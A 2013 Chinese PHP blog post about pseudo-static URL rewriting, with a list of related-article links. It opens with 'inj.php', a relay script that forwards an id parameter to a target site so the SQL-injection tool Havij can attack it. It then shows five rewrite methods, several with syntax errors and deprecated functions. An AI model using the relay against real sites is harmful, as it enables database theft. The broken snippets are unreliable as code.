PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
php中session_unset与session_destroy的区别分析
Jun 16 PHP
PHP通过正则表达式下载图片到本地的实现代码
Sep 19 PHP
php判断终端是手机还是电脑访问网站的思路及代码
Apr 24 PHP
PHP二维数组排序的3种方法和自定义函数分享
Apr 09 PHP
合并ThinkPHP配置文件以消除代码冗余的实现方法
Jul 22 PHP
重新认识php array_merge函数
Aug 31 PHP
浅谈PHP中JSON数据操作
Jul 01 PHP
php抛出异常与捕捉特定类型的异常详解
Oct 26 PHP
阿里云PHP SMS短信服务验证码发送方法
Jul 11 PHP
php实现微信模板消息推送
Mar 30 PHP
phpstudy2020搭建站点的实现示例
Oct 30 PHP
PHP如何通过date() 函数格式化显示时间
Nov 13 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
全国FM电台频率大全 - 7 吉林省
2020/03/11 无线电
详解PHP执行定时任务的实现思路
2015/12/21 PHP
WordPress中获取所使用的模板的页面ID的简单方法
2015/12/31 PHP
详解WordPress开发中的get_post与get_posts函数使用
2016/01/04 PHP
最新版本PHP 7 vs HHVM 多角度比较
2016/02/14 PHP
jQuery温习篇 强大的JQuery选择器
2010/04/24 Javascript
JS链式调用的实现方法
2013/03/07 Javascript
javascript检测页面是否缩放的小例子
2013/05/16 Javascript
js实现漂浮回顶部按钮实例
2015/05/06 Javascript
JavaScript html5 canvas绘制时钟效果(二)
2016/03/27 Javascript
浅析$.getJSON异步请求和同步请求
2016/06/06 Javascript
AngularJs学习第五篇从Controller控制器谈谈$scope作用域
2016/06/08 Javascript
基于zepto.js简单实现上传图片
2016/06/21 Javascript
Three.js学习之正交投影照相机
2016/08/01 Javascript
JavaScript简单获取系统当前时间完整示例
2016/08/02 Javascript
jquery+ajax实现省市区三级联动效果简单示例
2017/01/04 Javascript
jquery append与appendTo方法比较
2017/05/24 jQuery
通过vue刷新左侧菜单栏操作
2020/08/06 Javascript
python备份文件以及mysql数据库的脚本代码
2013/06/10 Python
编写Python爬虫抓取豆瓣电影TOP100及用户头像的方法
2016/01/20 Python
Python中shutil模块的常用文件操作函数用法示例
2016/07/05 Python
Django实现自定义404,500页面教程
2017/03/26 Python
详解Python文本操作相关模块
2017/06/22 Python
Scrapy框架CrawlSpiders的介绍以及使用详解
2017/11/29 Python
python3实现随机数
2018/06/25 Python
python得到电脑的开机时间方法
2018/10/15 Python
python 命名规范知识点汇总
2020/02/14 Python
Python使用urllib模块对URL网址中的中文编码与解码实例详解
2020/02/18 Python
如何使用pycharm连接Databricks的步骤详解
2020/09/23 Python
法国床上用品商店:La Compagnie du lit
2019/12/26 全球购物
电视购物广告词
2014/03/19 职场文书
毕业设计说明书
2014/05/07 职场文书
工厂车间标语
2014/06/19 职场文书
七夕活动策划方案
2014/08/16 职场文书
大学生国庆节65周年演讲稿范文
2014/09/25 职场文书
高中同学会致辞
2015/08/01 职场文书